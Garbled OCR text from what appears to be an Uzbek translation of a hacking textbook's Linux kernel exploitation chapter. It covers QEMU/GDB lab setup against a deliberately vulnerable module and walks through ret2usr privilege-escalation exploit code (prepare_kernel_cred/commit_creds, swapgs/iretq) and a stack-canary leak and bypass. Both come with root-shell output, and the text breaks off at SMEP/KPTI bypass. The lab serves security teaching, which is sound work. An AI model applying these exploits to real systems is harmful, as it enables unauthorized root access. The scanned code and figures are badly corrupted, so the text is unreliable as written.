1 E ver Per, th
Start End Offset Perm Pa o R

/ kgl GHEvE el 1] vuln
OxO00036 | e 3de4000 Ox00 (home Kali

3 zili ca olinadi va vul.n dasturining asosiy
Fi ri nzilidan nusxa
5. Fixed leaked_rip mi

mangzili olib tashlanadi:

gef> -
p (36! G 3de s 56d-0x0000561 Ge3de 4000
851 = vl 56d
$ python3 exploitd py s
[*] Vhame kali/ GHHv6 el ] 1vuln ) |
(xeb’, ‘a3’ ‘0n61 99", 099", ‘x87" Ox07]
‘Oeh . Uxal

: 8700
[*] Leaked Canary = Ox2eba36! v.g??\zr;fm | Ovde’
[+] SFP: [0x0", 0x0" O] ﬂ::;ﬁ Ll |
[*] Leaked SFP = :.lf-‘_rﬂi:-h,f:h'vhn PN R 068
/ f;;!"f ‘el ‘0x0’, "0x33" xad 4
[*] Leaked RIP = 0x55aS 107000,
[*] Fixved leaked rip = (x33a-
[*] elfwddress = e Sa

™ b
[+ ] Canary: [ Wcob' 0x80]

5h107e000

.I 4 2 fo)...
v il kalil ErONpS= “-mﬂfﬂ'ﬁﬁj'. 2 i'ﬁﬁ‘ﬂﬂ‘”.:ﬁ{ﬁf?ﬂﬂj )2 Tisudo)
wiel= 100 kalil j:r'n‘- in (/[ - |
13 | P é rrl'll.l"-"ﬂﬂﬂ ivatli
b bda ;\S R_ [E, NX va Stal:k Eﬂnﬂl’}’}d q },r
u i i! Bubo
dastur |5|1|ﬂd].

chetlab o*tildi. !
Xulosa : . : :
[E. NX va Stack canarylari kabi :k.s' pl-m[:t?i[;l? T:Eﬁ::
A , . ‘tishni 0'r
Ushbu bobda j“s[‘i?ﬂ;:shi va ularni ganday T:‘;S:ﬁl r[;a:: f‘D}rda[Hg]'lildi. Ushbu
e . a ¥ i an'ngq &
3;:::1 u;tmllta;:-rgrl;‘ﬂw}ga zaif bo'lgan ko P 1hiian ishlash uchun kengroq vositalar
y Ste

; iy tizimlar ; ; h
texnikalarni birlashtirib hs:t;q;::;juﬂ ardan yanada murakkab eksploitlar uchun

s hili in. Himoya usullar o' zgar-
to*plami va ushbu murd il ekanligini hilish mumkin. Himoy 7g

foydalanish imkoniyati ™ G




per-di-frederico.pdf

anligi va ulari chetlab ot iyalari
fn Hnbga 1 ;, 3»%1?; ni}i];;laut;!?hush stralegzlyaian rivojlanganligi sababli, *Qo*shimcha
u usullarni yaxshiroq tushunishga yordam beradigan

qo‘shimcha materiallar mavjud.

| Qo*shimcha
“The ady . manbalar
T h::u:{ced return-into-lib(c) exploits: PaX Case Study”
www.phrac .com/issues.htm1?issue=58&id=4#arti e
Ret?rn:Driented Programming: Syste s
fp.plmatmns“ hovav.net/ucsd/distrop pdfl'“ i
lt:Slgri_rturn Oriented Programming Is a Real Threat”
“f;l, : |:1 15.{3& l_.N I/Proceedings/Proceedings259/2077 1“E‘rillf
-Orient i e .
p nted Frugrammmg: A New Class nf%ode-ﬂeuse Attack™

www.comp.nus.edu.sg/~liangzk/ i
“How the ELF Ruined 'I.';‘hr%strn;j;}jffmmm‘mI e

WWW i
.usenix.org/system/files/conference/

Languages, and

usenixsecurity15/secl5-pa-

Foydalani :
l. |1Ilp5:ﬁgil|luh+c0rm*hugsyfge“;ﬂnllgﬂn adabiyotlar

2. https://sourceware
_ .org/gdb/onlinedocs/
3. hltps.ﬁdacs.pwnmn]s,cunﬂerﬁstablefins%:ﬁf;:) rlliﬂIltml
htm

12-BOB. LINUX KERNELI EKSPLOITLARI

Ushbu bobda quyidagi mavzular y oritiladi:

* Foydalanuvchiga qaytish (ret2ust)

« “Srack Canaries ni chetlab o'tish

« Nazoratchi rejimi bajarish himoyasini
tishini (KPT1) chetlab o'tish

* Nazoratchi rejimiga kirishnir

« Kernel manzil maydoni joylashuV

(SMEP) va kernel sahifa-jadvali ajra-

g oldini olish (SMAP) usullarini chetlab o*tish
i tasodifiyligini (KASLR) bartaraf etish

oitlari keng : mkoniyatlarni taqdim etadi, bu
kin. Birog eksploitlash tamoyillari foydalanuv-
bilan o'xshash prinsiplarni izchil ravishda
hilarga xotira va boshqa resurslarga chek-
bu esa ta'sirlangan tizimlar ustidan cheksiz
Zaif kod va savfsizlik xatolari Linux yadro
va xotirani boshgarish

Linux kernel (yadro) ekspl
Ba'zan qo‘rqinchli ho*lishi mum
chi maydoni (user space) zaifliklari
qo‘llaydi. Kernel eksploitlari hujume
lanmagan kirish imkoniyatini beradi,
nazorat o‘rnatish imkonini yaratadi. £& : :
(kernel) modullarida, drayverlarda, tizim chaqlruvlanda
bilan bog*liq boshga dasturlarda uchrafsh_l qn_:mkm.‘

Linux yadrosi (kernel) ning xavfsizligint oshiris )
sa’y-harakatlar xavfsizlik choralarini Y“"Sliflﬂ'-;h g
imkoniyatlarini kengaytirgan bo*lsa-da, }al.iqlqnlcl:!:ﬂr
chetlab o*tishning ko'plab ijodiy usullarini anigladiiar.

h bo*yicha amalga oshirilgan
ksploitlashga qgarshi turish
bu xavfsizlik chegaralarini

Lahnrﬂturiya ishi 12.1: . .
itni . himoyasiz procis moduli
Muhitni sozlash v \ , -
Boshlash uchun, biz nplimallashtinlgaﬂ kcl'll'lF'] [ff-l-"l-l'?".'r_"-a GIF“JUILlnu:«: ker-
nelini i shu . ,-] |';'1mda kﬂmpil}fﬂlﬁi}'ﬂ gilish _]Ill‘ﬂ}’ﬂ.ﬂlljﬂ “‘*Spluafﬂtswaga
i ‘rlu' Iﬁhga mH'mSl I L o*tishni nanm}’ish etish maqsad]da .ﬂla}f!ub f}lmuyam:;_
:iiﬁrza:ussiﬁ'? r;;d(:-te:n[::duiiﬁa }’D‘nﬂltirilgﬂl‘l QEMU asosidagi operatsion muhit
= 1 4 =
e i iy ikkil
. Yadroni Ekspluamtsi}*a q”*lﬁhmﬂ,iﬂ:,{k;m ol Y i e
solishtirganda biroZ noqulay bnh ;:: e muvnﬁ‘aqiyalsiz Bt weeithics

Qiyinroq bo‘lishi mumkin va oca tizimi to'liq qayta ishga tushirishni talab
u : .

yadro xatolari yuzagd kelishié;:du, dan foydalanamiz. QEMU operatsion tizim-

qiladi. Shuning uchun biz  mkonini peradi va ekspluatatsiyalarni yozish va

ni virtual muhitda taglid qili-Shd'
tuzatish jarayonini ﬂﬁi?:“laf’_hurair:é murakkabligi zaifliklardan didiy w to'g -
Har bir laboratoriyd is .m ,:hnralm‘i"i chetlab o‘tishning yanada murak-

r bi : VA { et
ggg-]t:.ﬂ ¥ lhﬁnffiﬂlaqltsi:l?:: ;;In;h}roshadi. Bu, 0'Z pavbatida, operatsion tizim ish-
osqichlariga ©

ik fayllardan foydalanish bilan

"1",#




lab chiqu?.*chilarir?ing yadro ishlashini murakkablashtirishda erishgan yutuglarini
k?‘l‘ﬂﬂlﬂdl. Garchi bunday himoya choralarini chetlab ottish giyin bo‘lishi mum-
kin bo‘lsa-da, bu imkonsiz emas.
Birinchidan, ildiz qobig‘ida (root shell) quyidagi i bajar
g i b | bajarib,
QEMU’ni o‘ratiladi: R THGRRE SN

§ sudo apt-get update && sudo apt-get -y install qemu gemu-system

* Keyin, ~/GHHv6/ch12 papkasida har bi
opsiyalari bilan tuzilgan QEMU
fayli topiladi:

) na- I':IIIIILSI'I - ‘t;ubmla?:sus luzilg:an Linux yadrosidan foydalanadi, unda stack
51 ary arzma'-fju ‘ u_hh. eksPImId_an himoya choralarini o'z ichiga olmaydi.
; ﬂp'; I‘etl:_uslr tv:‘xmkasu:!an f{::yf:ialanlsh uchun moslashtirilgan. Ushbu skript yor-
mawlv}ra _ lz_lrmfli?z}art;: oshirish asoslarin; o'rganish va yadro himoyalarining
rixty nvojlamshini, shuningdek, har bir hj il o ining
qanday ishlashini tushunishga yordam hcradiimnya L bl SN
* run2.sh — ushbu laboratoriya ishi bir i ;
i s Ly xil yadro modulida ishlaydi. ammo Stack
Canaries L:I;S];:mugan 111(111&0}!31 qilish uchun yadro qayta kumpilqufya'qilingaﬂ
* rund.sh - Stack Canarie S b ol
inlegd. S, SMEP va KPT] eksploitidan himoya qilishni
* rund.sh Stack Canaries, SMEP, KPT] va SMAp cksploitlari kiritilgan

* run5.sh Stack Canaries, S )
kiritilgan. MEP, KPTI, SMAP va KASLR cksploitlari

Eslatma: Ushbu skriptlar

rlaboratoriya ishiga mos yumshatish
ekspluatatsiyasini ishga tushiruvchi qobiq skript

klonlagan deb taxmin qilinadi ;;::T?:;;GHHEE L U Sy

Sl : qilinadi. orni bosl aloge; £

S,ang;a‘, I|1|ar b_lr .shl faylini qo*lda yangilashingiz kerzlzq[?ﬂlf?alzliﬂggd Maniaganle

. ;

s el E‘Zi':li"yﬁﬂ[ﬁ?i‘é“f o'rtasida almashish jarayonini soddalas-
A ma ; ransport m : - i

Plan 9 fay! tizimi protokoli ishlatiladi, QEMy ushﬂum{ﬁ;fi&m‘f’“ﬂ?}r:ﬁ:

dani avio

Lauv]:js;zijaI"E:It:?rli?g::;l;n:;flug katalogiga o*matadi. Ushbu umumiy papkada Siz
aboratoriva : : ;
Mana yana bir gancha muhim fa}'ﬂa::l S ey oe eksploitlarni ham topasiz.

. --!GHHvﬁfchlZIstackprutentur i
. = ~disabled/bzlmage bt -
riya _|b!1| uchun mo’ I{allangan, STAC KPROTECTOR ?SE;: kbu bll’l!‘lﬂhl Iahm:um‘
o‘chirilgan holda siqilgan yadro tasy ek Canaries) sty
* ~/ GHHv6 / ¢h12 / bzlmage.
H st - :
yadro (karnel)ning siqilgan tasviri. FERCRpratector (Stack Comties) Joqiign
* Vmlinux — bu m i :
yordam beradigan siq-qilnl;l:;;l:;1 Ot:;]r::-:azzr::mi; +e tish jar‘aynnini soddalashtirishga
gilarini 0’z ichiga oladi. Agar uni ch olish ki u disk raskadrovka bel

iridir,

Qarib olish kerak bo‘lsa, eng oson yo*li Ext-

| daraxti skriptlari katalogida

ract — vmlinux| skriptidan foydalanishdir, uni karne
topish mumkin, B ol
« initramfs.cpio — bu ildiz fayl tizimi.

GDB’'ni o‘rnatish _ e
GEMU stiiidart bo'yicha 5 (gl top: 1234 volum QIMds) ATPEE e
S er disk rask ' sini
shell h‘l-:ripliL:a o*tkazish orqali yoqilgan GDB server disk raskadrovka mntericy
tagdim etadi.

Idin GDB va GEI “plaginining 108 ri o riatilgan-
it -

- o P rishede N il
Eslatma: Davom elisik i amallarni baj

aring.
oh nehn X1

ligiva ishonch hosil gili
GDB konsolida masofadan target re-

i MU muammolarni bartaraf etish

: - senatileand )
GDB va GEF o'malilg hirish orgali QE

mote :1234 buyrug'ini ishga tus | - |

L el feysini ochadi va bu dizayn jihatidan zaif bo"lib,
K_t:‘n'uel mfmduli /! fffsgglzz, ';Ljislf zaifliklarini an‘;lc!lasal;ﬂ?;r;;tz ::la;:i::h t:;r‘.::;_-

:asfffilh}f_ o0*qish i l?}ri a ishlarining asosty maqsa 1r sa i gk o

am:-,.h oson. Laboratorty o kamaytirish V@ ular‘atm": |_:1 z ko'proq ma’lumot

hf}llkl o cks;:!n;:;::f I:Jlodul qanday ishlashi hagida biro

nishga e’tibor garatishdir.

jramiz: -
olish uchun QEMU va GDB HI'I;Sh-[g:nI‘IL?iShI . runl.sh skriptini ishga tushi
kasida

nal oching, sh skriptini ¥
1. “ff"‘lH\'ﬁfCh 12 Pﬁp 'rﬂga“ ruIlkSi}'illﬂl‘ini Tﬂ'}"xﬂ“ﬁ‘ Chlqﬂ.rll'lg.
ring va modulning eksport 4! !

3 runl.sh &

SeaBlOS (version 1.14 M-

- § grep ghh proc/kallsyms -
” Wl

GOO0000000000000 1 ghl_WT

M
0000000000000000 1 gl *-1..:':
0000000000000000 t &) ’”‘:f,-e-:mn,ﬂ
0000000000000000 1 ghh_¢

inal ﬂynasinl

2. Xuddi shu P“Fkad? yang! i ad funksi}’ﬂlarini gism

S¢rveriga ulang va gh_.wf

larga ajrating:

; yplinix
8 geldb | .-.'.'zu'-l'ﬂ!'fm'c'Iru‘—:hmhfﬂf-‘r"
gef>™ rarget remole (4234 ;
Remate debugging using 'emﬂ, idle 0

Oxfifis 1022 1fe in amd_:

gef> disas ghh_writ¢

27

oching, GDBni QEMU GDB

L




bajaring:

#j:!" -

Dump of assembler code for function ghh wrie:

OxfITTS 1165758 <+ 8> - lea rdi i

f . Srbp-tix 1)
OHRTS 1165 75¢ <+12> - sub rsp,ﬂi':‘ e
UATT811b3760 < + 16> - call Oxfififis 11 2880
<capy user_generic _string> o )

gef> disas ghh_read

OfTiTS 1 1B5781 <+ |- mov reli ref

OXARS 1165784 <+4>: moy rh_j; ;'s

OxfTfTHS 1165787 <+ 75 push rb.a: "

OXAITHITS 1165788 <+ 8- mov rhy, ey
OxHHRIIbS78h <+ 11> - lea :'.'l'.:' ,;’n’:r el
OxfifSI 16578 < + 15> sub r.-.;; {.'.r-f_ #
ORI 165793 <+ 1 9= calf rxm”b 2%
SCOpy_user Beneric_string> T

: RIP’ni .
Keling, RIP'ni qayta voi " qayta yozish
lik. Buning uchun qug;dr?:;ihl u:]ﬁ'l karnel modulinj 0°chirishga harakat qilay-
ochiq ekanligiga ishonch hosil aiprr. . OB ishlayotgan ikkala terminal ha
osil qiling, KeyinGDB oynasida qj E!lek‘ r[nlrml hﬂlrnm:
Yidagi buyruglam

Bef> pattern create 50
I+l Generating g pattern af 50 byges (= 4)

daaabacacaaadag,
aeaaafaaagg, '
! i il
Lef> continue o

Continuing.

Waaakaaalaaam,

= Jproc/ghiy

= Permissions Violatioy
ﬁ.i!P.' ﬂﬂ-’ﬂ.‘&rﬂhﬂﬁfﬁﬁﬁfﬁfﬁfﬁ?

Kernel panic - not synei

Kernel Offver: disabled

:’?(y}

Kenel panic sodir bo'lganligi sababli, QEMU"dan chigish uchun CTRL-C
tugmalarini bosing. Endi runl.sh skriptini gayta bajaring va target remote :1234
buyrug*i yordamida GDB serveriga qayta ulaning. Keling, RIP qimﬁ-“ipinusf?
laymiz va EIP*ni qayta yozish uchun qancha bayt yozishimiz kerakligini ko‘rib

chigamiz;

gef> patrern search 0610 1616861616 “f?

[+] Searching for ‘G161616861616167 o
[+ ] Found at offset 24 (little-endian search) likely
Ushbu bilim bilan imtiyozlami oshirish uchun quyidagi modulni ishga tushi-

rishga tayyormiz.

' ishi : ret2usr
Laboratoriya ishi 12.2: ret . an
(Return-to-user) — bu NX y “qllg:{z V;, agﬁ.iﬁ N #::’
. s laid :mkon beradigan texnikadir. Bu texnika
rilgan holatda shell k“dlﬂrfm I{ﬂjﬁrmhgtzilr: metodlari bilan taggoslaganda nisba-
X bobda tavsiflangan asosty eksp f"ma }sradi rip registrini qayta yozish va kernel
tan oddiyroqdir. Ret2usr ning asosiy mad onning imtiyozlarini oshirish uchun
funksiyalaridan foydalangan hn!dﬂjﬂfl}'_]ﬂl:ai -
Kernel maydonidagi ijro ﬂqi"'i:l' 1.51!11:33‘1‘;‘;1’?5hni;15 eng oddiy usuli va uni X bob-
Return-ta-user — bu kerneldan 10 - cin, bu NX yoqilgan va
da IE;I::LE: S;:::asiy texnikalar bil_al? lﬂgq?iaﬂiigﬁ:;kgrdi. iy
ASLR U-‘t:hi‘l_‘iigan holda shell kﬂ?::;;f;:;g;r;nigt‘]a}’w yozish va kernel funksiya-
. - : sadi e PR A -
Iarid?t?‘uszl . asOs . forly jarayonning imtiyozlarin oBlikigh-uchun, yadeo
an loydalangan : hdir: .
ma}’dﬂnidagi ijro nqimiﬂi ushlab tUTh:f‘:;{“J} funksiyasi foydalanuvchi ma}fci-m
re kernel_CTE ~ funksiyasi joriy vazifa-
nidni?l;:;: !j‘:,.';ﬁfﬂjﬁ ishlaydi, chunki Fﬂin;?::}]}:jidsE[P'ni zaﬁa yozish im-
= 3 ' rin : G et
£a tav; . nei hiso .., auyidagicha bo‘ladi:
knn?}::f;:]itan::;gﬁ::‘iachll bizning Slmmgl.!:a::.:g;uﬁlnkfiyai:—mi manzillarini /proc/
> ' mmit_ : i a yuklash-
- L. Prepure_kernEK;\SLR o irilganligi sababli bu manzillar qayta y
allsyms’dan toping.
lar orasida o* zgarmaydi.
2. Shellcode’ni bajars ‘
o cini YOZINE:
Yaratuychi inline funksiyasi™ Yﬂ?alfridﬂ" foydala
3. Swapg va iretq ko'rsaif™

Qayting,

Foydalanuvchiga qaytish

mit creds{prcpnre‘kernel_c.-edm”-ni
commit_

h u-migﬂf " .
aib, foydalanuvchi maydoniga

o, va bajaramiz. Biz to‘lig man-

. a gilamiz V& DEEEEC lar har bi

: . kompilyaSYa = o keyingi bo‘limlar har bir

Endi eksploitni yozami% a

is miz, : i e ichio

o . pujjatlashtird li kod parchalarini 0°z ichig
»f.-I-ﬁ:l il Em;n :z i chun faqat kT:I:codini quyidagi yo‘lda topish
Sploit texnikasini che

styich U
Iﬂl? (‘_I.“S [nlliq man
{3??

Oladi, Ushbu Iaburamri)’ﬂf ‘;::ﬂ:;jﬂxpmitl!explnil.&
Mumkin; ~/GHHv6/ch12/$




Quoid save statef)|
_asm_{
“intel_syntax noprefix; "
“mav user cs, cs:"
"mov user ss, 55"

“maov user_sp, rsp:"
"pushf:" -

"pap user_rflags:"
"an_syatax:"

Je

/

@void shellfvoid) |

if (getwid() 1= 0) |
printff"UID = %d :-fin", getidy)):
exirf-1);

]
L)

svstem( " hin/sh),

¥
]

tnsigned long user rip = (unsigned long) shell-
Bvaid escalate _privileges(void) { .
_asm_f

“intel_syntax noprefix; "

“xar rdi, rdi;"

O call OxfifTs1067d50-* 1/ prepare
“mov rdi, rax;"

@ "call Uxfififirs1067bet):" 1/
“swapes "

“push user ss:"

"push wser sp:”

prsh user rflags:*

“push user es;"

"push user_rip;"

"iretq:"

“att_symax;:"
)

{
¥

int maing) |
save_statef);

@unsigned long Pavload[40] = {0}
Iﬂpqr!mmfj} = (unsigned long) e:rm:km-
int fd = openy “procighh. O RDWR),
<0 -
puis("Failed to open jprog
exirf-1),

/

Owrite(fd, pavicad, size

return 0; Siploai

/

_kerne! cred

commit cregdy

ey

_Privileges

By -

a (kernel mode) imtiyozlarni oshiradigan
lanuvchi maydoniga gaytish va system (*/
bin/sh™) buyrug‘ini bajarish kerak bo'ladi. Duch Fela{hg[ar: ]If:rl]nr:cg; “nl'::?r:ﬁ?
shundaki, foydalanuvchi maydoniga qaytish uchun P r:ff:,l RI?FL&GS (Flags
rug'i ishlatilishi zarur bo'lib, bu buyrug €5 s Selgarjn: uﬂsuummn Pointer)
Register), SP (Stack Pointer), SS (SIECk.SE‘gmm]:%: v?‘e istrlar ikki rejimda ham,
registrlarining to*g'ri qiymatlarini talab giladi. Ushbu reg

. : 'sir giladi.
ya'ni foydalanuvchi va kernel re_llm‘le_mda ham ta'sir g o ssaladh v g b
Yadro rejimiga (kemel mode) o't

shdan oldin registr iretq
i i uchun ushbu o‘rnatilgan
rug'ini chaqirishdan avval ularni stekdan qaytd tiklash
. 1 r
twzilmadan foydalanish maqsadga muY

ofigdir.
cernel
randd. comi creis (prepre e ,
rish uchun zarur bo'lgan kodni 0°Z 1S ili qayta yoziladi. Bu jarayonda, GS
ning RIP (R:cmrn Instruction F’—::-imr:l":i f'“ﬂ"‘.ﬂ N atga almashtirish uchun swapgs
registrini modelga xos registrlardan b:‘;g;g'lﬂﬁgl}_spmﬁc Register) qiymatlari-
ko'rs e B iladi, bu esa ‘rsatmasini bajarishdan
n? a?r?m;“dd;: !ﬂ:ﬁ;l?:l]':a:i'[adi- i S Re]?:::-,:;;] va SS (Stack Segment)
oldin, O (Code Segment), RFLAGS: SP e qobig (shell) funksiyasiga
egisrlarining qiymatarin '€ G080 FCLL b o foydalamavchigs
RIP koren e 43 ta tiklash bilan jarayon ¥ mkonini beradi. Davom etishdan
E ‘ﬂ rsatmasini qi;"ian qcbiqni ishga tushirish Ied o commit_creds funksiyala-
nld?: U;'lﬂ“l}’“?l-f;ﬁ :i?imdﬂ PrEpme‘ker“:Iﬁ;'lhu manzillar kerak, chunki ular-
y M l'I‘]inSﬂ - : i kerak. : ; hilan ushbu
- : i lashimiz 5 dagi gadamlar D1

n'“mg o, “m-nm“i'lr‘ml ;‘mlfwmida q'ﬂ“”“}m“.z ) -O-,:J Y;aizi?lnmi o'z ichiga olgan

x Ekztil[:lumatsl}fahﬂl'!ih‘ iﬂkl:}’i nchalik skriptni 0'S08

anzillarni topishimiz ¥

holda o*zgartirishimiz mumKkin:

I-bandda eksploit yadro rejimid
kodni bajaradi. Shundan so'ng, foyda

cred(0)) funksiyasini c.haqi_
escalate_privileges funksiyasi-

8 runi.sh

rol turned off il

ty: job eon! prar.-kaﬂs,-‘"””“"“

-sh: can't access o
~ & grep prepare_ fierned ¢ !; o oo
SIS 1067480 pr‘;.mft" 1_-.&;;!!.!} wrslh:':‘m‘ -l
~ 8 grep commit_creds (o .

SIS 1067 be) T commil ereds

: illari bi-
ommit_creds n*ian%ll ari |
i kernel cred hﬂm_di: signed Long gator! sifatida
s o . '.-# 1 =
4- va S-gatorlarni [-'ll'~l-‘li':11 - coydali y?klml‘;“ni - obatga olgan holda, Tf:uz RIP
dan SO ME TF L amiz Har bir elementi 8 bayt

T e . 1

gartirganimizda i . +: anmialadik- :

Yaratamiz va uni nol bilan 152? gmkinligin! a:]{::]imi bu esa shuni anglata-
: a 1 et inchi

Manzilini 24-baytda ‘la’.’taf;iz ansigned lonfzgini foydali yukimizning uchinchi

UZunlikka ega bo*lgan W22 . cining M3

R funks1y

iki, escalate_privileges """ i,
. . pimiz 1071
Eleﬂlentiga (24 /8) yozishi™ ﬁ




Nihoyat, /proc/ghh faylini oching va

foydali yukni tegishli joyga yozib, jara-
yonni yakunlang.Endi hamma narsa tayyor, eksploitni tuzing. Uni bajarish /bin/sh

qobig* (shell)ini root foydalanuv

chi imtiyozlari bilan ishga tushirishga olib kelishi
kerak.

8 gee -O0 -static shared/exploit] ‘exploit.c -o shared
5 runl.sh

-sh: can't access uy: job control turned aff

~ § Jexploit] ‘exploit

hinigh: can't access iy, job contral turneed aff
home/user # id

wid=lfroot) gid=llfroot)

exploitl explojs

Juda soz! Keling, Stack Can

aries'ni yoqaylik va ushbu ssenarivda qanda
ishlashini hamda uni qanday chet] qay a ushbu ssenariyda ganday

ab o'tish mumkinligini tushunib olaylik.

ik Lahuraturi}'a ishi 12.3:
'; ack Lanary™ mexanizminj chetlab o‘tj
K::rne! stek Xotirasi ham Kernel Stack Canaries mexan?z::ih ordamida foy-
da]ianuvchli ma?’dﬂm stekiga o‘xshash tarzda xotirg buzilishi *fa bufer toshib
ketish k;ab:_ hulrumlﬂ':dan himoyalanish; mumkin. Bu mexanizm kom ilyatsi-
ya bosqwhldagf zaifliklarni yumshatish ychun ishlatiladi ;.ra hidz r:uh:.‘ltinrpiJ bobda
2:;%‘;';5;"}3:‘;f‘fz’slﬂlaggaa ]:'fl;}'dalﬂnuvﬂhi maydonidagi Stack {L‘anﬂrii“i bilan
‘da ishlaydi. Ushbu va kevines: iva i i ik Ca-
naries r‘ufii;siyasid?n Ibydalanish:iktz}f:l:gr:l;:I;D::;z:g;i:;:ﬂi%ﬁ?rg g";;;‘;k;;
}]:R{::}TEL ‘DR Opsiyasi yoqllg.an maxsus yadro (kernel)ni gayta tuzdik. Ushbu
Imoya mexanizmini amalda kuzatish uchup run2.sh skriptini baiarine va keyin
GDB (GNU Debugger) yordamida maqsad); lizimga ulanib, RIPJrcgis%rini qaytd

miz kerakligini aniglashga

ustiga yozishdan keyin tiklanadi, By shablon

dan so*ng tiklanishini ta’minlaydi. N

canary’ning stek ustiga yozilgan-
asturni ijro etishni davom ettiramiz-

A

§ gidb ~ GHHv6 chl2 vmlinix

gef> rarget remole 1234

gef> b *ghh write+29 ]
Breakpoing | at Oxfiiffifis1 1e373d

gef> h *ahly write+ 53 -
Breakpoint 2 at OxfifisH1e3773
Ie) wattern create 5 :

JI: '.?Gi*:u-r':m'ug a pattern of 30 bytes (1° 4
auaahaaacaaadaaneanafasagaadd
gef> ¢

Continning.

.‘unmi'nu:y'rmnkum:fmumm

inali sxa oling va uni modul
lik shablonni QEMU terminalidan nusxa oling
Endi ushbu siklik s

Interfeysiga yozing: e
s I:mmfamgf:m:rknﬂa!ummm:-.-.pm.;g
e

HITHY
; bp-0x10 ga
: na a“aqa:.h!:m ki )
rish]igﬂi:i‘:i :::k sh:'yranliz va ikkinchi to‘xtash
g qym

Pl
~ S echo mmﬂhmim'fmudtirm"- Jr

Birinchi to*xtash nugtasigd ©
kﬁ‘i-‘hirilgmi bo'ladi. Keling, unin
Muqtasiga o*tamiz: L BREAKPOINT
140 1d 1 1 Ox ﬁﬁﬁﬁﬁ 11e373d in ghh_ write (), reas
A Id 1, stopped 0X

Ref> x/g Srbp-0x10 153h7ad 3000
Oxfifie9000000be78; o9 14df1- e
f =
s Iy write (- reason: BREA
(. I ] ¥, . . -r‘?j '_”g]’__ - .
e —

an EISinga
giymati rbp-ﬂﬂ?ﬂar:di Agar rdx registridagi
s ]

—_— :
Ushbu bosqichda, ¢am® r:;ali&an chigarib 1@ ish o‘miga ___stack_clhk__l‘?!
diymat nolga teng lm‘.l?m?a—:: olib keladi Q u\,j-’a canary 'ni qay.:rgail e :Siz. L
ﬁ"“kSi}’asining chagqirilishi: o'rib chiqammrdmn dasturidan foydalanamiz:
. . 1 e
L":Elslridagi canary ql}’;:'u::];mbiunm offset YO
Crakligini aniqlash uc

Lef> print Srdy :
S = rmsmmmmn?f:i!ﬁ-
gef> pattern offse! ‘N}t 3

[+ ] Searching for "Sr

ol sngndian 5
[+] Found at offset 8 (litrle=en

ini i dan so‘ng,
. matini tekshirgandal
ralari V2 ¢ igfﬁ;ﬂim yahima xatosl (kernel
xtash U9 Joyg() oynas

Agar GDB'da t0'X, o,
dastur jjrosini davom ettiril

i 281
Panic) glpadi:




gef> ¢
Continuing.
Kernel panic - not syncing. stack-protector: Kerne
ghh_write+0x4b/0x50

Kernel Offset: disabled

-=[ end Kernel panie - nay syncing: stack
corrupied in: ghh write+0x4h/0x 50 -

[ stack is corrupred in-
-protectar: Kernel stack i

Oxirgi bosqichda xotira manzillarining sizib chigishini aniglash va tasodifiy
o°qish zaifligidan foydalanish talah etiladi. Sizning ~/GHHv6/ch12/shared pap-
kangizda mavjud bo‘lgan kichik C dasturi, /proc/ghh interfeysini ochadi va im-
zosiz uzun massivda 40 baytni 0°qish imkonini beradi, Ushbuy dastur yordamida,
canary giymatining sizib chiqayotganligini va qaysi offset bo*yicha joylashtirish

kerakligini aniqlash mumkin, Avval ushbu dasturn; kompilyatsiya qiling va run2.
sh ni ishga tushiring:

3 gee -00 -static ~GHHvG/ch {2

‘sharedleak ¢ -¢ -, GHHvG/ch ) 2
5 run2sh

shared leak

(}‘D_B‘ga yangi terminalda ulaning, “anary rax registriga (ghh write+25)
ko'chirilgandan song to*xtash nugasini O'mating va amalni bajarishni davom
eting:

5 gdb ~'GHHV6/ch 1 2/ vmbinu:
2ef> target remote 21234
gef™ b *ehly write+ 25

Breakpoint | ar U fiffiifis 11 c3759
gef™ ¢

Continuing.

Endi QEMU terminalida
tushiring va rax registrining q
judligini topishga harakat qilin

ikkilik sizib chi
iymatlari sizip ¢
g

Ggan (leak binary) faylini ishga
higgan manzillar ro‘yxatida mav-

~ 8 . Meak

Oxfiffe 900000a7ehi
Ox3003509349375600
Oxfifis88002193f00

O e 900000 7edn
Oxfiffis 1 14c1 74

gef> print $rax

31 = 0x3003509349375600

== ~'ning sizib chigishi ikkinchi
Amalga oshirish muvaﬂ'aili}’“ﬂ‘_b“ ldi !. (:‘ana!? E;:;fst?va RIPii muvaffaqi-
— ﬁnida aniqlangallligi Sﬂhﬂ'ill- fﬂ;:{?;;i ilmy:':;miini tuzatish mumkin. Endi
" . 2 e . 51 -SP u
vatli gayta yozish uchun avvalgi ¢

et % . P idagicha:
bizning asosiy vazifamiz quyidagic

Save stetel), ,
™ iy
int fil = opent” proc ghh". O_RDN R

tnsigned long leak| Si

Oread(fid, leak, sizeofileak)); .
Ounsigned long canary 'h'”"‘::"f”' vl
printft"Canary = Ox%0161x'n 3 ﬂ:i.n e
unsigned long pavioadf40] = { U1:
Opavioad( 1] = canary:
pavloadf4] ~ (unsigned long) D):
write(fd, pavioad, sizeofipayioad):

jvileges:
escalate_priv ileg

ivning ikkinchi ele-
iy ‘pera massiyning 1xxin 4
i 0*qiymize@- S?.,r:ﬁih“f‘f“l' kanareykani foydali

: anzillarn
Avval sizib chiggan manzilla o. Keling, tuzatilgan eksplua-

y ilaymize.
chisiga belgilay ‘.
Mentini kanareyka o*zgarus Eh!ﬂ: o shib tiklaymiZ
Yukimizning ikkinchi elementig®
Watsiyamizni bajaraylik:

S . run2.sh

~ 5 exploir2 exploit
Canary - Ox5ed635b3 200
binsh: can't access 10 10
home user ¥ id

wiel =Oroor) gid=0froot)

2ed4b 7600

b control qurned off

sipanimizdan so'ng, endi

fagiyatli chetlab 0°12 o'tish mumkin-

muva glamni qanday aylanib

4 eini i

Stack Cana ]lll'l!f.‘l}‘l"._‘lr? htirib,
SMEp ::] K;Tlrﬁimﬂ}'*‘m“m g
igini ko' rib chigaylik- 124

hurntﬂﬂfﬂ ish! |ab o‘tish g

e gpTI'ni ehets a ko'tarib, SMEP (Super-
SMEP V4 :mizni bir PO2 |D ! ge-Table Isolation) kabi
End kspluatatsiy? usua gPTI (Kerme! iyatlarini chetlab
ndi, bizning eks son) V X ’

x1sUS1 .

; ention i g umumiy A essor arxitek-
Visor Mode Execution Pfﬂ;ﬁr;ﬁmwa qilishntie pﬂ'ﬂ:gjimi xotirasi
Yad . L tatsiy@ddt = hi B —
n‘tal:xliin:h?gll:!eul?splu"““wai 3:1anﬂ b qori imtiyozZiar da?ﬁ:r::i[rtﬁidg
Mangzi) maydonida juylﬁl:Eqac a qilih ay £ -anhs_hrll;lfaqm kernel rejimida
